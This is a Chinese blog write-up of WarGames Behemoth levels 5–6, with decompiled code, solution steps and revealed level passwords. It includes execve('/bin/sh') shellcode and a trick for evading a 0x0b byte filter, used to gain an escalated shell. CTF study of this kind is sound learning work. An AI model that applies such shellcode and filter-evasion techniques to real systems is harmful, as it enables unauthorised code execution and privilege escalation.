1625-5 王子昂 总结《2017年9月7日》 【连续第339天总结】
A. WarGames-Behemoth
B.

Level 5

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{__int32 v3; // ST24_4@4uint16_t v4; // ax@10size_t v5; // ST08_4@10FILE *v6; // [sp+28h] [bp-28h]@1char *v7; // [sp+2Ch] [bp-24h]@4struct hostent *v8; // [sp+30h] [bp-20h]@4int v9; // [sp+34h] [bp-1Ch]@7signed __int16 v10; // [sp+3Ch] [bp-14h]@10uint16_t v11; // [sp+3Eh] [bp-12h]@10int v12; // [sp+40h] [bp-10h]@10int v13; // [sp+44h] [bp-Ch]@10int v14; // [sp+4Ch] [bp-4h]@1v14 = *MK_FP(__GS__, 20);v6 = fopen("/etc/behemoth_pass/behemoth6", "r");if ( !v6 ){perror("fopen");exit(1);}fseek(v6, 0, 2);                              // 设置文件指针的位置,为fromwhere(2)+offset(0)v3 = ftell(v6) + 1;                           // 得到文件指针的位置rewind(v6);                                   // 将文件指针重新指向流的开头v7 = (char *)malloc(v3);fgets(v7, v3, v6);                            // buf,bufsize,streamv7[strlen(v7)] = 0;fclose(v6);v8 = gethostbyname("localhost");if ( !v8 ){perror("gethostbyname");exit(1);}v9 = socket(2, 2, 0);                         // 创建套接字if ( v9 == -1 ){perror("socket");exit(1);}v10 = 2;v4 = atoi("1337");                            // StrToIntv11 = htons(v4);                              // 转换为大端序v12 = **(_DWORD **)v8->h_addr_list;memset(&v13, 0, 8u);v5 = strlen(v7);if ( sendto(v9, v7, v5, 0, (const struct sockaddr *)&v10, 0x10u) == -1 )// UDP协议// socket,msg,len,flags,to,tolen{perror("sendto");exit(1);}close(v9);exit(0);
}

整理一下流程,大体就是读取密码文件,然后通过socket以UDP格式向1337端口发送

htons函数的功能是将数字从intel系处理器所使用的小端序转换为网络通信通用的大端序
我以为是一种编码加密方式了(逆向做多的下场),研究了半天1337被转换后会是什么值了……
其实是socket通信的必要编码转换,只需要接收1337端口函数即可

重点在sendto函数是以UDP协议发送,而nc监听的默认是TCP包,需要使用-u参数

整体来说很简单,这个形式在之前bandit里做过了
打开两个shell,一个监听1337端口的UDP包,另一边运行behemoth5即可

behemoth5@behemoth:~$ nc -u -l 1337
mayiroeche

Level 6

behemoth6
int __cdecl main(int argc, const char **argv, const char **envp)
{void *v3; // ST1C_4@4FILE *v5; // [sp+18h] [bp-8h]@1v5 = popen("/behemoth/behemoth6_reader", "r");if ( !v5 ){puts("Failed to create pipe.");exit(0);}v3 = malloc(0xAu);fread(v3, 0xAu, 1u, v5);pclose(v5);if ( !strcmp((const char *)v3, "HelloKitty") ){puts("Correct.");execl("/bin/sh", "sh", 0);}else{puts("Incorrect output.");}return 0;
}
behemoth6_reader
int __cdecl main(int argc, const char **argv, const char **envp)
{__int32 i; // [sp+1Ch] [bp-14h]@3FILE *v5; // [sp+20h] [bp-10h]@1__int32 v6; // [sp+24h] [bp-Ch]@3void *v7; // [sp+28h] [bp-8h]@3v5 = fopen("shellcode.txt", "r");if ( v5 ){fseek(v5, 0, 2);v6 = ftell(v5);rewind(v5);v7 = malloc(v6);fread(v7, v6, 1u, v5);fclose(v5);for ( i = 0; i < v6; ++i ){if ( *((_BYTE *)v7 + i) == 11 ){puts("Write your own shellcode.");exit(1);}}((void (*)(void))v7)();}else{puts("Couldn't open shellcode.txt!");}return 0;
}

这次有两个文件,behemoth6调用behemoth6_reader,取返回值与“HelloKitty”比较,成功则getshell
而behemoth6_reader的流程则是读取shellcode.txt,判断是否存在\x0b,如果存在的话则提示“请自己写shellcode”,判断通过以后执行shellcode

通常使用的get shell最后的汇编都是mov al,0xb int 0x80
使用的原shell如下

\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

既然查询点是0xb,那么只需要绕过这一点就行了
0xb是最后调用exec函数时提供的参数,因此值必须在
不过检查的是代码,因此通过一点小花样就可以绕过:mov al,0xa add al,1 即可
用pwntools的asm方法可以将汇编转换为二进制代码
得知\xb0\x0b可以用\xb0\x0a\x04\x01替换

成功通过behemoth_reader以后,查了一下popen函数的返回值是子进程的I/O流
因此只需要在shell中echo HelloKitty即可在behemoth中get shell

注意在behemoth6_reader中getshell以后权限仍然只有behemoth6的,因为behemoth6_reader不具有s权限,因此虽然创建者是behemoth7但权限是不会被提升的,所以还是要通过具有s权限的behemoth6来提权

behemoth6@behemoth:~$ /behemoth/behemoth6
echo HelloKitty
exit
Correct.
$ whoami
behemoth7
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo

另外还可以直接令shellcode的内容为echo HelloKitty,这样也可以绕过exec函数的检测

C. 明日计划
behemoth7

170907 WarGames-Behemoth(5-6)相关推荐

  1. 初试linux编译(ubuntu+vim)+玩转智能蛇

    一.初试linux编译(ubuntu+vim) 步骤: ①下载vmware15+ubuntu桌面版映像 ②安装ubuntu ③下载vim+gcc 在ubuntu终端输入: sudo apt-get i ...

  2. 2021-2027年中国医联体(医疗联合体)建设深度调研及投资前景预测报告

    [报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国医联体(医疗联合体)行业市场行业相关概述 ...

  3. 2022-2028年中国EBA树脂(乙烯丙烯酸丁酯)产业竞争现状及发展前景规划报告

    [报告类型]产业研究 [报告价格]¥4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国EBA树脂(乙烯丙烯酸丁酯)行业市场行 ...

  4. 解决谷歌浏览器在非https下限制获取多媒体对象(音视频)的解决方式

    1.浏览器输入:chrome://flags/ 2.输入你要允许的域名地址或ip端口地址(如下图)

  5. 白化(预处理步骤)【转】

    白化(预处理步骤)[转] 介绍 我们已经了解了如何使用PCA降低数据维度.在一些算法中还需要一个与之相关的预处理步骤,这个预处理过程称为白化.举例来说,假设训练数据是图像,由于图像中相邻像素之间具有很 ...

  6. 全面理解Python中的类型提示(Type Hints)

    众所周知,Python 是动态类型语言,运行时不需要指定变量类型.这一点是不会改变的,但是2015年9月创始人 Guido van Rossum 在 Python 3.5 引入了一个类型系统,允许开发 ...

  7. 《Attention is All You Need》浅读(简介+代码)

    2017年中,有两篇类似同时也是笔者非常欣赏的论文,分别是FaceBook的<Convolutional Sequence to Sequence Learning>和Google的< ...

  8. TENSORFLOW变量作用域(VARIABLE SCOPE)

    举例说明 TensorFlow中的变量一般就是模型的参数.当模型复杂的时候共享变量会无比复杂. 官网给了一个case,当创建两层卷积的过滤器时,每输入一次图片就会创建一次过滤器对应的变量,但是我们希望 ...

  9. 命名实体识别入门教程(必看)

    关于开发自己的命名实体识别先期思路: 虽然网上有很多相关代码,但实际如何入门材料较少,故整理下: CRF:先期可以用人民日报语料库去做,步骤如下: https://blog.csdn.net/hude ...

  10. 字符串编辑距离(Edit Distance)

    一.问题描述 定义 字符串编辑距离(Edit Distance),是俄罗斯科学家 Vladimir Levenshtein 在 1965 年提出的概念,又称 Levenshtein 距离,是指两个字符 ...

最新文章

  1. 边缘检测、霍夫变换、重映射、仿射变换、直方图均衡化
  2. 模板格式丢失_公司法人私章证明丢失应该怎么办,需要补办吗?
  3. springboot 开发入门,及问题汇总
  4. ADO.NET Entity Framework之ObjectQuery
  5. android开发将h5转换成pdf_一键将PDF转换成PPT,秒懂!
  6. JAVA-初步认识-第十三章-多线程(验证同步函数的锁)
  7. FD.io VPP用户文档:会话层架构与VPP应用
  8. 列表理解与lambda +过滤器
  9. android:windowSoftInputMode属性;界面关闭后软键盘不隐藏的解决方法;
  10. 【村长的刷题手册-1】LeetCode刷题笔记,不断总结继续出发
  11. 后缀表达式求值和转换(C++)
  12. win系统的VBS脚本简易教程
  13. 可复制的领导力(来自樊登读书会)
  14. 哈工大计算机网络Mooc 第八章笔记(网络层(中))
  15. 程序员的奋斗史(三十七)——大学断代史(一)——开篇
  16. 《薛兆丰经济学讲义》读后笔记---京东自建物流案例分析
  17. 大爱伟业协同办公系统项目的感想
  18. 阿里云SLB健康检查探究
  19. 详细解读MeeGo系统构架
  20. 1.下架已上线的小程序;2.设置不允许被用户搜索到

热门文章

  1. Ubuntu使用笔记(Talk is cheap,show me the code.)
  2. 营销策略解析:papi酱、李子柒等网红的背后究竟隐藏着什么?
  3. 介绍HBuilder
  4. ELSA为其英语发音助理筹集320万美元pre-A轮融资
  5. AI环境配置(Anaconda、Pycharm)
  6. 旅行商问题以及python实现
  7. 目前超级计算机国内外发展状况,浅谈超级计算机发展的过程及研究现状
  8. Windows 7 and Windows Server 2008 R2 中文版已发布在 MSDN and TechNet Plus 订阅
  9. 联合利华投资10亿欧元,致力到2030年淘汰清洁产品中的化石燃料
  10. python自动发邮件富文本_Python自动化测试发送邮件太麻烦?!一起聊一聊 Python 发送邮件的3种方式...